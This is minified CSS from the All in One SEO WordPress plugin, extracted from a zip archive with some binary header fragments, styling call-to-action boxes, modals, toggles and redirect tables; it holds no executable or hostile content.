.aioseo-cta-background .type-4 .header-text{font-weight:600;font-size:16px;margin-bottom:8px}.aioseo-app .aioseo-cta .aioseo-cta-background .type-4 .description,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-4 .description,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-4 .description{font-weight:400;font-size:14px;margin:0}.aioseo-app .aioseo-cta,.aioseo-blc-app .aioseo-cta,#aioseo-user-profile-tab .aioseo-cta{margin-top:30px;width:100%}.aioseo-app .aioseo-cta.floating,.aioseo-blc-app .aioseo-cta.floating,#aioseo-user-profile-tab .aioseo-cta.floating{margin-top:0;position:absolute;max-width:850px;top:50%;padding:20px}[dir=ltr] .aioseo-app .aioseo-cta.floating,[dir=ltr] .aioseo-blc-app .aioseo-cta.floating,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta.floating{left:50%;transform:translate(-50%) translateY(-50%)}[dir=rtl] .aioseo-app .aioseo-cta.floating,[dir=rtl] .aioseo-blc-app .aioseo-cta.floating,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta.floating{right:50%;transform:translate(50%) translateY(-50%)}.aioseo-app .aioseo-cta.floating .aioseo-cta-background,.aioseo-blc-app .aioseo-cta.floating .aioseo-cta-background,#aioseo-user-profile-tab .aioseo-cta.floating .aioseo-cta-background{box-shadow:0 5px 20px #0000001a;border-radius:3px}.aioseo-app .aioseo-cta.floating.align-top,.aioseo-blc-app .aioseo-cta.floating.align-top,#aioseo-user-profile-tab .aioseo-cta.floating.align-top{top:50px}[dir=ltr] .aioseo-app .aioseo-cta.floating.align-top,[dir=ltr] .aioseo-blc-app .aioseo-cta.floating.align-top,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta.floating.align-top{transform:translate(-50%) translateY(0)}[dir=rtl] .aioseo-app .aioseo-cta.floating.align-top,[dir=rtl] .aioseo-blc-app .aioseo-cta.floating.align-top,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta.floating.align-top{transform:translate(50%) translateY(0)}.aioseo-app .aioseo-cta .aioseo-cta-background,.aioseo-blc-app .aioseo-cta .aioseo-cta-background,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background{background:#fff;padding:40px;box-shadow:0 2px 5px #0000000d;border:1px solid #E8E8EB}.aioseo-app .aioseo-cta .aioseo-cta-background .header-text,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .header-text,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .header-text{line-height:1.25;font-weight:600;font-size:18px;text-align:center;color:#141b38}.aioseo-app .aioseo-cta .aioseo-cta-background .header-text span.large,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .header-text span.large,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .header-text span.large{line-height:1.4;font-size:22px}.aioseo-app .aioseo-cta .aioseo-cta-background .description,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .description,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .description{margin-block:16px 30px;width:100%;max-width:600px;text-align:center;font-size:16px;color:#141b38;line-height:1.25}.aioseo-app .aioseo-cta .aioseo-cta-background .description .aioseo-alert,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .description .aioseo-alert,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .description .aioseo-alert{margin-bottom:16px}[dir=ltr] .aioseo-app .aioseo-cta .aioseo-cta-background .description .aioseo-alert,[dir=ltr] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .description .aioseo-alert,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .description .aioseo-alert{text-align:left}[dir=rtl] .aioseo-app .aioseo-cta .aioseo-cta-background .description .aioseo-alert,[dir=rtl] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .description .aioseo-alert,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .description .aioseo-alert{text-align:right}.aioseo-app .aioseo-cta .aioseo-cta-background .feature-list,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .feature-list,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .feature-list{--aioseo-gutter: 32px;color:#141b38;font-size:14px;line-height:1.25;width:100%;max-width:500px;margin-bottom:30px;row-gap:16px}.aioseo-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col{display:flex;align-items:center}.aioseo-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check{color:#00aa63;width:20px;height:20px;min-width:20px}[dir=ltr] .aioseo-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check,[dir=ltr] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check{margin-right:12px}[dir=rtl] .aioseo-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check,[dir=rtl] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .feature-list .aioseo-col svg.aioseo-circle-check{margin-left:12px}.aioseo-app .aioseo-cta .aioseo-cta-background a.learn-more,.aioseo-blc-app .aioseo-cta .aioseo-cta-background a.learn-more,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background a.learn-more{margin-top:20px;color:#8c8f9a;font-size:14px} PKÉ—[[¦€‰‘‘;all-in-one-seo-pack/dist/Lite/assets/css/Index.CJWT1QyJ.cssnu„[µü¤.aioseo-modal .modal-mask{position:fixed;z-index:9998;top:0;width:100%;height:100%;background-color:#0020504d;transition:opacity .3s ease;-webkit-backdrop-filter:blur(1.5px);backdrop-filter:blur(1.5px)}[dir=ltr] .aioseo-modal .modal-mask{left:0}[dir=rtl] .aioseo-modal .modal-mask{right:0}@media screen and (max-width: 520px){.aioseo-modal .modal-mask{display:block;top:46px}}.aioseo-modal .modal-wrapper{position:fixed;z-index:9998;top:0;width:100%;height:100%;display:flex;align-items:center;justify-content:center;align-content:center;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif}[dir=ltr] .aioseo-modal .modal-wrapper{left:0}[dir=rtl] .aioseo-modal .modal-wrapper{right:0}@media screen and (max-width: 520px){.aioseo-modal .modal-wrapper{display:block;height:100%}}.aioseo-modal .modal-wrapper .modal-container{width:100%;max-width:800px;max-height:90vh;overflow-y:hidden;overflow-x:hidden;margin:0 auto;background-color:#fff;box-shadow:0 10px 30px #00000026;transition:all .3s ease}@media screen and (max-width: 520px){.aioseo-modal .modal-wrapper .modal-container{width:100%;max-width:100%;max-height:calc(100vh - 46px);height:100%}}.aioseo-modal .modal-wrapper .modal-container .modal-header{color:#141b38;position:relative;top:0;z-index:15;height:56px;font-size:18px;font-weight:600;line-height:1.4;border-bottom:1px solid #E8E8EB;background-color:#fff;display:flex;align-items:center}[dir=ltr] .aioseo-modal .modal-wrapper .modal-container .modal-header{padding:0 0 0 var(--aioseo-gutter)}[dir=rtl] .aioseo-modal .modal-wrapper .modal-container .modal-header{padding:0 var(--aioseo-gutter) 0 0}@media screen and (max-width: 520px){[dir=ltr] .aioseo-modal .modal-wrapper .modal-container .modal-header{padding:15px 0 0 20px}[dir=rtl] .aioseo-modal .modal-wrapper .modal-container .modal-header{padding:15px 20px 0 0}}.aioseo-modal .modal-wrapper .modal-container .modal-header button.close{background-color:#fff;border:none;line-height:1;margin:0;opacity:1;outline:none;padding:0;position:absolute;top:50%;transform:translateY(-50%)}[dir=ltr] .aioseo-modal .modal-wrapper .modal-container .modal-header button.close{right:20px}[dir=rtl] .aioseo-modal .modal-wrapper .modal-container .modal-header button.close{left:20px}.aioseo-modal .modal-wrapper .modal-container .modal-header button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-modal .modal-wrapper .modal-container .modal-body{overflow-y:auto;overflow-x:hidden;max-height:80vh;padding:0;position:relative}.aioseo-modal .modal-wrapper .modal-container .modal-body .aioseo-modal-content.has-padding{padding:40px}.aioseo-modal .modal-wrapper .modal-container .modal-body.allow-overflow{overflow:visible}.aioseo-modal .modal-wrapper .modal-container .modal-container__footer{border-top:1px solid #E8E8EB}@media screen and (max-width: 520px){.aioseo-modal .modal-wrapper .modal-container .modal-body,.aioseo-modal .modal-wrapper .modal-container .modal-body>div,.aioseo-modal .modal-wrapper .modal-container .aioseo-modal-content,.aioseo-modal .modal-wrapper .modal-container .aioseo-modal-content>.component-wrapper{height:100%}.aioseo-modal .modal-wrapper .modal-container .aioseo-modal-content>.component-wrapper{display:flex;align-items:flex-end}.aioseo-modal .modal-wrapper .modal-container .aioseo-post-social,.aioseo-modal .modal-wrapper .modal-container .aioseo-post-general{height:100%!important;max-height:100%!important}.aioseo-modal .modal-wrapper .modal-container .aioseo-post-social .mobile-radio-buttons,.aioseo-modal .modal-wrapper .modal-container .aioseo-post-general .mobile-radio-buttons{margin-bottom:0}.aioseo-modal .modal-wrapper .modal-container .aioseo-add-template-tag{display:none}.aioseo-modal .modal-wrapper .modal-container .tab-facebook .aioseo-settings-row:last-of-type,.aioseo-modal .modal-wrapper .modal-container .tab-twitter .aioseo-settings-row:last-of-type{margin-bottom:64px!important;padding-bottom:32px!important}}.allow-overflow .modal-mask .modal-container,.allow-overflow .modal-mask .modal-container .modal-body{overflow:visible}.modal-background-enter-active,.modal-background-leave-active{transition:opacity .3s ease}.modal-background-enter-from,.modal-background-leave-to{opacity:0}.modal-content-enter-active{transition:all .3s cubic-bezier(.52,.02,.19,1.02) .05s}.modal-content-leave-active{transition:all .3s cubic-bezier(.52,.02,.19,1.02)}.modal-content-enter-from,.modal-content-leave-to{opacity:0;transform:scale(.8)} PKÉ—[LØˉ‰;all-in-one-seo-pack/dist/Lite/assets/css/Index.DAMPH74G.cssnu„[µü¤.aioseo-box-toggle .aioseo-row .aioseo-col{max-width:calc(200px + 1em)}@media only screen and (max-width: 48em){.aioseo-box-toggle .aioseo-row .aioseo-col{max-width:100%}}.aioseo-box-toggle input{position:absolute!important;clip:rect(0,0,0,0);height:1px;width:1px;border:0;overflow:hidden}.aioseo-box-toggle input:checked+label{background-color:#fff;box-shadow:0 5px 10px #005ae01a;border:2px solid #005AE0;font-weight:600}.aioseo-box-toggle label{background-color:#f9f9fa;color:#141b38;font-size:16px;line-height:1;display:flex;align-items:center;justify-content:center;flex-direction:column;border:2px solid transparent;box-shadow:0 0 0 1px #e8e8eb;transition:all .1s ease-in-out;border-radius:3px;height:165px;position:relative}.aioseo-box-toggle label svg{margin:0;flex:1;color:#434960}.aioseo-box-toggle label p{font-size:14px;line-height:22px;position:relative;bottom:unset;margin:0 0 12px}.aioseo-box-toggle label:hover{cursor:pointer}.aioseo-attributes ul.aioseo-attributes-list[data-v-4823ddd8]{list-style:inside;list-style-type:disc;margin:20px 0 0}.aioseo-attributes ul.aioseo-attributes-list li[data-v-4823ddd8]{display:flex;margin-bottom:8px;align-items:flex-start}.aioseo-attributes ul.aioseo-attributes-list li div[data-v-4823ddd8]:first-of-type{flex:0 0 140px}.aioseo-copy-block{display:inline-flex}.aioseo-copy-block .message{background-color:#fff;min-height:56px;display:flex;align-items:center;border:1px solid #DCDDE1;padding:10px 24px;font-weight:600}[dir=ltr] .aioseo-copy-block .message{border-radius:3px 0 0 3px}[dir=rtl] .aioseo-copy-block .message{border-radius:0 3px 3px 0}.aioseo-copy-block .copy-tooltip{display:flex}.aioseo-copy-block .copy{background-color:#fff;min-height:56px;display:flex;align-items:center;border:1px solid #DCDDE1;padding:10px 16px;font-weight:600;cursor:pointer}[dir=ltr] .aioseo-copy-block .copy{border-left-width:0;border-radius:0 3px 3px 0}[dir=rtl] .aioseo-copy-block .copy{border-right-width:0;border-radius:3px 0 0 3px}.aioseo-copy-block .copy:hover svg.aioseo-copy{color:#a7a7a7}.aioseo-copy-block .copy svg.aioseo-copy{width:20px;height:20px;color:#dadada}.aioseo-copy-block .copy svg.aioseo-circle-check-solid{width:20px;height:20px;color:#00aa63}.aioseo-ui-element-slider .aioseo-slide-content .main-box,.aioseo-ui-element-slider .aioseo-slide-content .extra-box{margin-top:16px;padding:12px;background-color:#f9f9fa}.aioseo-ui-element-slider .aioseo-slide-content .main-box .aioseo-description,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .aioseo-description{margin:0}.aioseo-ui-element-slider .aioseo-slide-content .main-box .aioseo-copy-block,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .aioseo-copy-block{margin:20px 0 0}.aioseo-ui-element-slider .aioseo-slide-content .main-box .aioseo-copy-block .message,.aioseo-ui-element-slider .aioseo-slide-content .main-box .aioseo-copy-block .copy,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .aioseo-copy-block .message,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .aioseo-copy-block .copy{min-height:40px;align-self:stretch;font-size:14px;font-weight:400;line-height:22px;padding:8px 12px}.aioseo-ui-element-slider .aioseo-slide-content .main-box .advanced-settings-link,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .advanced-settings-link{display:inline-block;padding-top:5px;color:#8c8f9a;text-decoration:underline;font-size:13px}[dir=ltr] .aioseo-ui-element-slider .aioseo-slide-content .main-box .advanced-settings-link,[dir=ltr] .aioseo-ui-element-slider .aioseo-slide-content .extra-box .advanced-settings-link{margin:16px 0 0 16px}[dir=rtl] .aioseo-ui-element-slider .aioseo-slide-content .main-box .advanced-settings-link,[dir=rtl] .aioseo-ui-element-slider .aioseo-slide-content .extra-box .advanced-settings-link{margin:16px 16px 0 0}.aioseo-ui-element-slider .aioseo-slide-content .main-box .advanced-settings-link:hover,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .advanced-settings-link:hover{text-decoration:none}.aioseo-ui-element-slider .aioseo-slide-content .main-box .advanced-settings,.aioseo-ui-element-slider .aioseo-slide-content .extra-box .advanced-settings{display:block;margin-top:20px}.aioseo-ui-element-slider .aioseo-slide-content .advanced-settings.advanced-settings-hidden{display:none}[dir=ltr] .aioseo-ui-element-slider .aioseo-slide-content .aioseo-tooltip{margin-left:0}[dir=rtl] .aioseo-ui-element-slider .aioseo-slide-content .aioseo-tooltip{margin-right:0}.aioseo-ui-element-slider .aioseo-box-toggle>.aioseo-row{--aioseo-gutter: 16px;--total-gap-width: calc(3 * var(--aioseo-gutter));--aioseo-col-max-width: calc((100% - var(--total-gap-width)) / 4);display:grid;gap:var(--aioseo-gutter);grid-template-columns:repeat(auto-fill,minmax(max(200px,var(--aioseo-col-max-width)),1fr))}.aioseo-ui-element-slider .aioseo-box-toggle>.aioseo-row>*{max-width:none}.aioseo-ui-element-slider svg.aioseo-widget,.aioseo-ui-element-slider svg.aioseo-new-page,.aioseo-ui-element-slider svg.aioseo-shortcode{width:100%;height:auto;max-width:60px}.aioseo-ui-element-slider svg.aioseo-gutenberg-block{width:59px;height:54px}.aioseo-ui-element-slider svg.aioseo-gutenberg-block rect{width:100%;width:56px;height:51px}.aioseo-ui-element-slider svg.aioseo-php{width:110px}.aioseo-ui-element-slider .aioseo-slide-content:first-of-type .main-box{border-top-left-radius:3px;border-top-right-radius:3px}.aioseo-ui-element-slider .aioseo-slide-content:last-of-type .main-box{border-bottom-left-radius:3px;border-bottom-right-radius:3px}.aioseo-ui-element-slider .aioseo-slide-content:not(:first-of-type) .main-box{margin-top:0}.aioseo-ui-element-slider .aioseo-slide-content:not(:last-of-type) .main-box>div{padding-bottom:12px;border-bottom:1px solid #E8E8EB} PKÉ—[Œ4span{color:#141b38;font-weight:700;font-size:16px;white-space:normal;line-height:1.4;display:flex;padding:12px;min-height:40px;text-decoration:none;text-transform:none;vertical-align:middle;position:relative;cursor:pointer}.aioseo-add-redirection-url-results ul li>span:hover{background-color:#f2f7fd}.aioseo-add-redirection-url-results ul li>span:hover .option-title{color:#005ae0}.aioseo-add-redirection-url-results .option{flex:1}.aioseo-add-redirection-url-results .option .option-title{font-weight:500;display:flex;font-size:16px;color:#141b38}[dir=ltr] .aioseo-add-redirection-url-results .option .option-title>div{margin-right:5px}[dir=rtl] .aioseo-add-redirection-url-results .option .option-title>div{margin-left:5px}.aioseo-add-redirection-url-results .option .option-title>div:first-of-type{display:inline-block}.aioseo-add-redirection-url-results .option .option-title .search-term{font-weight:700}.aioseo-add-redirection-url-results .option .option-details{display:flex;align-items:center;font-size:14px;color:#8c8f9a}[dir=ltr] .aioseo-add-redirection-url-results .option .option-details span{margin-right:15px}[dir=rtl] .aioseo-add-redirection-url-results .option .option-details span{margin-left:15px}.aioseo-add-redirection-url-results .option-permalink{display:flex;align-items:center}.aioseo-add-redirection-url-results .option-permalink svg.aioseo-external{width:15px;height:15px;color:#434960}.aioseo-add-redirection-target-url,.aioseo-redirect-source-url{position:relative}[dir=ltr] .aioseo-redirect-source-url .aioseo-input input{padding-right:76px!important}[dir=rtl] .aioseo-redirect-source-url .aioseo-input input{padding-left:76px!important}.aioseo-redirect-source-url .aioseo-input .append-icon{width:60px;justify-content:flex-end}.aioseo-redirect-source-url .aioseo-input .append-icon svg{max-width:16px}[dir=ltr] .aioseo-redirect-source-url .aioseo-input .append-icon svg{margin-right:5px}[dir=rtl] .aioseo-redirect-source-url .aioseo-input .append-icon svg{margin-left:5px}[dir=ltr] .aioseo-redirect-source-url .aioseo-input .append-icon svg:last-of-type{margin-right:0}[dir=rtl] .aioseo-redirect-source-url .aioseo-input .append-icon svg:last-of-type{margin-left:0}.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-gear{color:#8c8f9a;cursor:pointer}.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-gear:hover,.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-gear.active{color:#005ae0}.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-circle-check{color:#00aa63}.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-circle-close{color:#df2a4a}.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-trash{color:#8c8f9a;cursor:pointer}.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-trash:hover,.aioseo-redirect-source-url .aioseo-input .append-icon svg.aioseo-trash.active{color:#df2a4a}.aioseo-redirect-source-url .source-url-warning,.aioseo-redirect-source-url .source-url-error{margin-bottom:10px}.aioseo-redirect-source-url .source-url-options{display:flex;flex-wrap:wrap;gap:8px 30px;margin:10px 0}.custom-rules[data-v-986bd5f5]{width:100%;margin-top:14px}.custom-rules .rule .rule-settings[data-v-986bd5f5]{display:flex;flex-direction:row;align-items:center;flex:1}.custom-rules .rule .rule-settings .rule-row[data-v-986bd5f5]{width:100%;display:flex;flex-direction:column;align-items:baseline;gap:15px}.custom-rules .rule .rule-settings .rule-row .rule-error[data-v-986bd5f5]{width:100%}.custom-rules .rule .rule-settings .rule-row .rule-option[data-v-986bd5f5]{display:flex;width:100%}.custom-rules .rule .rule-settings .rule-row .rule-option>.aioseo-select[data-v-986bd5f5]:first-child{width:100%;max-width:250px}[dir=ltr] .custom-rules .rule .rule-settings .rule-row .rule-option>*[data-v-986bd5f5]{margin:0 16px 0 0}[dir=rtl] .custom-rules .rule .rule-settings .rule-row .rule-option>*[data-v-986bd5f5]{margin:0 0 0 16px}[dir=ltr] .custom-rules .rule .rule-settings .rule-row .rule-option>*[data-v-986bd5f5]:last-child{margin-right:0}[dir=rtl] .custom-rules .rule .rule-settings .rule-row .rule-option>*[data-v-986bd5f5]:last-child{margin-left:0}[dir=ltr] .custom-rules .rule .rule-settings .rule-row .rule-option>*.aioseo-toggle[data-v-986bd5f5]{margin:0 10px 0 4px}[dir=rtl] .custom-rules .rule .rule-settings .rule-row .rule-option>*.aioseo-toggle[data-v-986bd5f5]{margin:0 4px 0 10px}.custom-rules .rule .actions[data-v-986bd5f5]{flex:0;vertical-align:top!important;padding-top:27px!important}.custom-rules .rule .logical[data-v-986bd5f5]{flex:0}.custom-rules svg[data-v-986bd5f5]{width:14px;height:14px;cursor:pointer}.custom-rules svg.aioseo-trash[data-v-986bd5f5]{color:#dadada;width:20px;height:20px}.custom-rules svg.aioseo-trash[data-v-986bd5f5]:hover{color:#df2a4a}.custom-rules .aioseo-tooltip[data-v-986bd5f5]{margin:0;display:flex}.custom-rules .aioseo-button svg[data-v-986bd5f5]{color:#fff;vertical-align:middle}[dir=ltr] .custom-rules .aioseo-button svg[data-v-986bd5f5]{margin-right:6px}[dir=rtl] .custom-rules .aioseo-button svg[data-v-986bd5f5]{margin-left:6px}.custom-rules .date-range[data-v-986bd5f5]{flex:1;display:flex;width:100%;flex-direction:row;gap:15px}.custom-rules .date-range .aioseo-datepicker[data-v-986bd5f5]{flex:1}.custom-rules .redirects-options-table thead td[data-v-986bd5f5],.custom-rules .redirects-options-table tfoot td[data-v-986bd5f5]{height:50px}.redirects-options-table,.topics-table,.alumni-of-table{position:relative;margin:0;border:none;border-radius:3px;width:100%;border-spacing:0;border-collapse:separate;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:22px;letter-spacing:0px}[dir=ltr] .redirects-options-table,[dir=ltr] .topics-table,[dir=ltr] .alumni-of-table{text-align:left}[dir=rtl] .redirects-options-table,[dir=rtl] .topics-table,[dir=rtl] .alumni-of-table{text-align:right}.redirects-options-table:after,.topics-table:after,.alumni-of-table:after{content:"";width:100%;height:100%;position:absolute;top:0;border-radius:3px;border:1px solid #D0D1D7;pointer-events:none}[dir=ltr] .redirects-options-table:after,[dir=ltr] .topics-table:after,[dir=ltr] .alumni-of-table:after{left:0}[dir=rtl] .redirects-options-table:after,[dir=rtl] .topics-table:after,[dir=rtl] .alumni-of-table:after{right:0}.redirects-options-table tr td,.topics-table tr td,.alumni-of-table tr td{padding:16px 8px!important;background:#fff;vertical-align:middle!important}[dir=ltr] .redirects-options-table tr td:first-child,[dir=ltr] .topics-table tr td:first-child,[dir=ltr] .alumni-of-table tr td:first-child{padding-left:16px!important}[dir=rtl] .redirects-options-table tr td:first-child,[dir=rtl] .topics-table tr td:first-child,[dir=rtl] .alumni-of-table tr td:first-child{padding-right:16px!important}[dir=ltr] .redirects-options-table tr td:last-child,[dir=ltr] .topics-table tr td:last-child,[dir=ltr] .alumni-of-table tr td:last-child{padding-right:16px!important}[dir=rtl] .redirects-options-table tr td:last-child,[dir=rtl] .topics-table tr td:last-child,[dir=rtl] .alumni-of-table tr td:last-child{padding-left:16px!important}.redirects-options-table tr td.arrow-col,.redirects-options-table tr td.actions,.topics-table tr td.arrow-col,.topics-table tr td.actions,.alumni-of-table tr td.arrow-col,.alumni-of-table tr td.actions{text-align:center}.redirects-options-table tr td.arrow-col div,.topics-table tr td.arrow-col div,.alumni-of-table tr td.arrow-col div{display:flex;height:100%;justify-content:center;align-items:center}.redirects-options-table tr td.actions,.topics-table tr td.actions,.alumni-of-table tr td.actions{width:20px}.redirects-options-table tr td.aliased-domain,.topics-table tr td.aliased-domain,.alumni-of-table tr td.aliased-domain{width:100%}.redirects-options-table tr.even td,.topics-table tr.even td,.alumni-of-table tr.even td{background-color:#f9f9fa}.redirects-options-table thead td,.topics-table thead td,.alumni-of-table thead td{height:50px;padding:0 8px!important;border-bottom:1px solid #D0D1D7;color:#434960!important}[dir=ltr] .redirects-options-table thead td:first-child,[dir=ltr] .topics-table thead td:first-child,[dir=ltr] .alumni-of-table thead td:first-child{border-radius:3px 0 0}[dir=rtl] .redirects-options-table thead td:first-child,[dir=rtl] .topics-table thead td:first-child,[dir=rtl] .alumni-of-table thead td:first-child{border-radius:0 3px 0 0}.redirects-options-table thead td:first-child:last-child,.topics-table thead td:first-child:last-child,.alumni-of-table thead td:first-child:last-child{border-radius:3px 3px 0 0}[dir=ltr] .redirects-options-table thead td:last-child,[dir=ltr] .topics-table thead td:last-child,[dir=ltr] .alumni-of-table thead td:last-child{border-radius:0 3px 0 0}[dir=rtl] .redirects-options-table thead td:last-child,[dir=rtl] .topics-table thead td:last-child,[dir=rtl] .alumni-of-table thead td:last-child{border-radius:3px 0 0}[dir=ltr] .redirects-options-table tbody tr:last-child td:first-child,[dir=ltr] .topics-table tbody tr:last-child td:first-child,[dir=ltr] .alumni-of-table tbody tr:last-child td:first-child{border-radius:0 0 0 3px}[dir=rtl] .redirects-options-table tbody tr:last-child td:first-child,[dir=rtl] .topics-table tbody tr:last-child td:first-child,[dir=rtl] .alumni-of-table tbody tr:last-child td:first-child{border-radius:0 0 3px}[dir=ltr] .redirects-options-table tbody tr:last-child td:last-child,[dir=ltr] .topics-table tbody tr:last-child td:last-child,[dir=ltr] .alumni-of-table tbody tr:last-child td:last-child{border-radius:0 0 3px}[dir=rtl] .redirects-options-table tbody tr:last-child td:last-child,[dir=rtl] .topics-table tbody tr:last-child td:last-child,[dir=rtl] .alumni-of-table tbody tr:last-child td:last-child{border-radius:0 0 0 3px}.redirects-options-table tfoot td,.topics-table tfoot td,.alumni-of-table tfoot td{height:50px!important;padding:0 8px!important;border-top:1px solid #D0D1D7}[dir=ltr] .redirects-options-table tfoot td:first-child,[dir=ltr] .topics-table tfoot td:first-child,[dir=ltr] .alumni-of-table tfoot td:first-child{border-radius:0 0 0 3px}[dir=rtl] .redirects-options-table tfoot td:first-child,[dir=rtl] .topics-table tfoot td:first-child,[dir=rtl] .alumni-of-table tfoot td:first-child{border-radius:0 0 3px}.redirects-options-table tfoot td:first-child:last-child,.topics-table tfoot td:first-child:last-child,.alumni-of-table tfoot td:first-child:last-child{border-radius:0 0 3px 3px}[dir=ltr] .redirects-options-table tfoot td:last-child,[dir=ltr] .topics-table tfoot td:last-child,[dir=ltr] .alumni-of-table tfoot td:last-child{border-radius:0 0 3px}[dir=rtl] .redirects-options-table tfoot td:last-child,[dir=rtl] .topics-table tfoot td:last-child,[dir=rtl] .alumni-of-table tfoot td:last-child{border-radius:0 0 0 3px}[dir=ltr] .redirects-options-table tfoot td .aioseo-button+.aioseo-button,[dir=ltr] .topics-table tfoot td .aioseo-button+.aioseo-button,[dir=ltr] .alumni-of-table tfoot td .aioseo-button+.aioseo-button{margin:0 0 0 16px}[dir=rtl] .redirects-options-table tfoot td .aioseo-button+.aioseo-button,[dir=rtl] .topics-table tfoot td .aioseo-button+.aioseo-button,[dir=rtl] .alumni-of-table tfoot td .aioseo-button+.aioseo-button{margin:0 16px 0 0}.redirects-options-table.small tr td,.topics-table.small tr td,.alumni-of-table.small tr td{padding:8px!important}.redirects-options-table.small thead td,.topics-table.small thead td,.alumni-of-table.small thead td{height:38px;padding:0 8px!important}.redirects-options-table svg,.topics-table svg,.alumni-of-table svg{color:#dadada}.redirects-options-table svg.aioseo-trash,.topics-table svg.aioseo-trash,.alumni-of-table svg.aioseo-trash{width:20px;height:20px;cursor:pointer}.redirects-options-table svg.aioseo-trash:hover,.topics-table svg.aioseo-trash:hover,.alumni-of-table svg.aioseo-trash:hover{color:#df2a4a}.redirects-options-table svg.aioseo-right-arrow,.topics-table svg.aioseo-right-arrow,.alumni-of-table svg.aioseo-right-arrow{width:26px;color:#8c8f9a}.redirects-options-table .aioseo-tooltip,.topics-table .aioseo-tooltip,.alumni-of-table .aioseo-tooltip{display:flex}[dir=ltr] .redirects-options-table .aioseo-tooltip,[dir=ltr] .topics-table .aioseo-tooltip,[dir=ltr] .alumni-of-table .aioseo-tooltip{margin-left:0}[dir=rtl] .redirects-options-table .aioseo-tooltip,[dir=rtl] .topics-table .aioseo-tooltip,[dir=rtl] .alumni-of-table .aioseo-tooltip{margin-right:0}.aioseo-redirects.aioseo-modal .bd{padding:20px}.aioseo-add-redirection.edit-url .urls{align-items:flex-start}.aioseo-add-redirection .advanced-settings-link{text-decoration:underline!important}.aioseo-add-redirection.log-404 .urls .source{min-height:103px;align-items:flex-start}.aioseo-add-redirection .generic-error{margin-bottom:20px}.aioseo-add-redirection .aioseo-settings-row .settings-name .name{line-height:1.4;font-size:14px;font-weight:600;margin-bottom:5px}.aioseo-add-redirection .urls{display:flex;flex-direction:row;align-items:flex-start;flex-wrap:wrap}.aioseo-add-redirection .urls .break{flex-basis:100%;height:0}.aioseo-add-redirection .urls .aioseo-description.source-description{margin-top:12px}.aioseo-add-redirection .urls .aioseo-description.source-description+.source-url-options{margin-top:12px}.aioseo-add-redirection .urls .right-arrow,.aioseo-add-redirection .urls .url-arrow{display:flex;align-items:center;justify-content:center;margin:36px 30px}.aioseo-add-redirection .urls .right-arrow:empty,.aioseo-add-redirection .urls .url-arrow:empty{margin-block:0}.aioseo-add-redirection .urls .right-arrow svg.aioseo-right-arrow,.aioseo-add-redirection .urls .url-arrow svg.aioseo-right-arrow{color:#005ae0;max-width:20px}.aioseo-add-redirection .urls .source,.aioseo-add-redirection .urls .target{flex:1;display:flex;align-items:center}.aioseo-add-redirection .urls .source>*,.aioseo-add-redirection .urls .target>*{flex:1}.aioseo-add-redirection .urls .source .aioseo-input,.aioseo-add-redirection .urls .target .aioseo-input{margin-bottom:12px}[dir=ltr] .aioseo-add-redirection .urls .target input{padding-right:30px}[dir=rtl] .aioseo-add-redirection .urls .target input{padding-left:30px}.aioseo-add-redirection .urls .target .append-icon{width:30px;justify-content:flex-end}.aioseo-add-redirection .urls .target .append-icon svg{max-width:16px}[dir=ltr] .aioseo-add-redirection .urls .target 